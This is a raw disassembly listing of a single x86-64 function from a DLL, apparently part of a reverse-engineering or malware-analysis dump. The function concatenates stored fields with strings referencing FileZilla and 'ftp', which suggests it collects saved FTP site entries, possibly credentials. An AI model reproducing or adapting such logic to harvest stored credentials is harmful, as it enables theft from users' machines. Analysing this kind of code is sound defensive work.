cmp qword [rbp + 0x108], 0x10
mov r8, qword [rbp + 0x100]
cmovae rdx, qword [rbp + 0xf0]
call fcn.1800c2650
mov r8d, 1
lea rdx, [0x180118c8c]
lea rcx, [rbp + 0x10]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c2650
mov r8d, 1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x180118c90]
lea rcx, [rbp - 0x10]
call fcn.1800c2650
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xa8], 0x10
mov r8, qword [rbp + 0xa0]
cmovae rdx, qword [rbp + 0x90]
call fcn.1800c2650
mov r8d, 2
lea rdx, [0x180118ca0]
lea rcx, [rbp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c2650
lea rdx, [rbp + 0x50]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm0
mov byte [rax], 0
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x60], xmm1
cmovae rdx, rcx
mov rcx, r12
call fcn.1800c2650
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x1800b0905
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0900
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800b0940
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b093b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rbp - 0x18]
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
cmp rdx, 0x10
jb 0x1800b098b
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0986
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
cmp rdx, 0x10
jb 0x1800b09d6
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b09d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rbp + 0x28]
mov qword [rbp], rdi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
cmp rdx, 0x10
jb 0x1800b0a21
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0a1c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rbp - 0x58]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
cmp rdx, 0x10
jb 0x1800b0a6c
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0a67
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rbp - 0x78]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
cmp rdx, 0x10
jb 0x1800b0ab8
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0ab3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1800b0b06
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0b01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x1800b0b56
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0b51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rdx, qword [rbp - 0x38]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0x10
jb 0x1800b0ba4
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0b9f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f3f
call fcn.1800cfd40
mov rcx, qword [r14 + 0x18]
mov rax, qword [rbp + 0xc0]
mov rdx, r14
cmp rcx, 0x10
jb 0x1800b0bbb
mov rdx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800b0bcb
cmp byte [rdx], 0x31
jne 0x1800b0bcb
mov cl, 1
jmp 0x1800b0bcd
xor cl, cl
test cl, cl
je 0x1800b0d9b
lea rdx, [rax + 0xe]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x1800b0bfc
lea rcx, [rbp - 0x50]
call fcn.1800c9320
mov qword [rbp - 0x40], rdi
mov r8d, 0xe
lea rdx, str.ftpFileZilla
lea rcx, [rbp - 0x50]
call fcn.1800c2650
cmp qword [rbp + 0xc8], 0x10
lea rdx, [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp - 0x50]
cmovae rdx, qword [rbp + 0xb0]
call fcn.1800c2650
mov r8d, 1
lea rdx, [0x1801193c8]
lea rcx, [rbp - 0x50]
call fcn.1800c2650
mov qword [rsp + 0x40], rdi
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x48], rdi
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xe8], 0x10
mov r8, qword [rbp + 0xe0]
cmovae rdx, qword [rbp + 0xd0]
call fcn.1800c2650
mov r8d, 1
lea rdx, [0x180118c98]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c2650
lea r8, [rbp + 0xf0]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c3460
mov rdx, rax
lea r8, [0x180118c98]
lea rcx, [rbp - 0x10]
call fcn.1800c3620
mov rdx, rax
lea r8, [rbp + 0x90]
lea rcx, [rbp + 0x10]
call fcn.1800c3460
mov rdx, rax
lea r8, [0x180118c94]
lea rcx, [rbp - 0x70]
call fcn.1800c3620
mov rdx, rax
mov rcx, r12
call fcn.1800c26f0
lea rcx, [rbp - 0x70]
call fcn.1800c2730
lea rcx, [rbp + 0x10]
call fcn.1800c2730
lea rcx, [rbp - 0x10]
call fcn.1800c2730
lea rcx, [rbp - 0x30]
call fcn.1800c2730
lea rcx, [rsp + 0x50]
call fcn.1800c2730
lea rcx, [rsp + 0x70]
call fcn.1800c2730
lea rcx, [rsp + 0x30]
call fcn.1800c2730
lea rcx, [rbp - 0x50]
call fcn.1800c2730
lea rdx, [0x18010e0d0]
lea rcx, [rbp + 0xb0]
call fcn.1800c2710
lea rdx, [0x18010e0d0]
lea rcx, [rbp + 0xf0]
call fcn.1800c2710
lea rdx, [0x18010e0d0]
lea rcx, [rbp + 0xd0]
call fcn.1800c2710
lea rdx, [0x18010e0d0]
lea rcx, [rbp + 0x90]
call fcn.1800c2710
inc r13d
lea rcx, [rbp + 0x70]
call fcn.1800c2730
lea rbx, [0x1801336e0]
mov rcx, r15
call fcn.1800ded40
test eax, eax
je 0x1800af660
mov rcx, r15
call fcn.1800dbce8
lea rdx, [0x18010dec8]
mov rcx, r14
call fcn.1800c3410
test al, al
je 0x1800b0ebb
mov edx, r13d
lea rcx, [rbp - 0x70]
call fcn.180089290
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rsp + 0x70]
call fcn.1800c3520
mov rdx, rax
lea r8, [0x180118ca4]
lea rcx, [rsp + 0x50]
call fcn.1800c3620
mov rdx, rax
lea r8, [0x180118ca0]
lea rcx, [rsp + 0x30]
call fcn.1800c3620
mov rdx, rax
lea rcx, [rbp + 0x50]
mov r8, r12
call fcn.1800c3460
mov rdx, rax
mov rcx, r12
call fcn.1800c2790
lea rcx, [rbp + 0x50]
call fcn.1800c2730
lea rcx, [rsp + 0x30]
call fcn.1800c2730
lea rcx, [rsp + 0x50]
call fcn.1800c2730
lea rcx, [rsp + 0x70]
call fcn.1800c2730
lea rcx, [rbp - 0x70]
call fcn.1800c2730
lea rcx, [rbp + 0x110]
call fcn.1800c2730
lea rcx, [rbp + 0xd0]
call fcn.1800c2730
lea rcx, [rbp + 0x90]
call fcn.1800c2730
lea rcx, [rbp + 0xf0]
call fcn.1800c2730
lea rcx, [rbp + 0xb0]
call fcn.1800c2730
mov rcx, r14
call fcn.1800c2730
mov rsi, qword [rsp + 0x358]
mov rax, r12
mov rbx, qword [rsp + 0x3a0]
mov r15, qword [rsp + 0x350]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.1800cfa80
add rsp, 0x360
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
call fcn.1800c3190
int3
call fcn.1800defa0
int3
call fcn.1800defa0
int3
call fcn.1800defa0
int3
call fcn.1800891f0
int3
call fcn.1800defa0
int3
call fcn.1800defa0
int3